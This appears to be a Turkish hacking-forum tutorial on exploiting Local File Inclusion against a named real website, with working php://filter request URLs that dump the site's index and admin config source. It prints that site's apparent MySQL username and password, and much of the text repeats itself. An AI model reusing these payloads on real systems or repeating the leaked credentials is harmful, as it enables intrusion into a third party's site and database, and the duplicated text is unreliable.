Arkadaşlar LFI (Local File Inclusion - Yerel Dosya İçerme) ile dosya okumayı göstericem.
Fazla uzatmadan başlayalım.
Örnek sitemiz tearoute.gr
Resimde gördüğnüz gibi base64 ile şifrelenmiş kodlar geldi.
Kodu decode edince altıncı satırda config yolu göründü.
require 'admin/config.php';
Sıra config okumada.
Bu da oldu....
Yeni yansıyan base64 kodlarını tekrar decode ediyoruz.
Satır 13'e bakınca mysql bağlantısı ortaya çıktı.
$mysqli = new mysqli("localhost", "fdngroup", "nQs1q86riu", "tearoute");
Bütün olay bundan ibaret.
LFI ile başka yöntemler de kullanabiliriz ancak şu an için coğunlukla sömürürebilen budur.
Fazla uzatmadan başlayalım.
Örnek sitemiz tearoute.gr
Kod:
https://www.tearoute.gr/?page=ssssssssssssssss
Cevap: include(): Failed opening 'sssssssssssss.php' for inclusion (include_path='.:/opt/cpanel/ea-php56/root/usr/share/pear')
Buradan anlıyoruz ki sitede LFI açığı mevcut.
PHP sürümü 5.3 sonrası /proc/self/environ gibi yöntemler işe yaramayacaktır.
Bu durumda config okumayı deneyelim....
İndexten başlayarak config yolunu arıyoruz.
https://www.tearoute.gr/?page=php://filter/convert.base64-encode/resource=index
Oldu ...
Resimde gördüğnüz gibi base64 ile şifrelenmiş kodlar geldi.
Kodu decode edince altıncı satırda config yolu göründü.
require 'admin/config.php';
Sıra config okumada.
Kod:
https://www.tearoute.gr/?page=php://filter/convert.base64-encode/resource=admin/config
Bu da oldu....
Yeni yansıyan base64 kodlarını tekrar decode ediyoruz.
Satır 13'e bakınca mysql bağlantısı ortaya çıktı.
$mysqli = new mysqli("localhost", "fdngroup", "nQs1q86riu", "tearoute");
Bütün olay bundan ibaret.
LFI ile başka yöntemler de kullanabiliriz ancak şu an için coğunlukla sömürürebilen budur.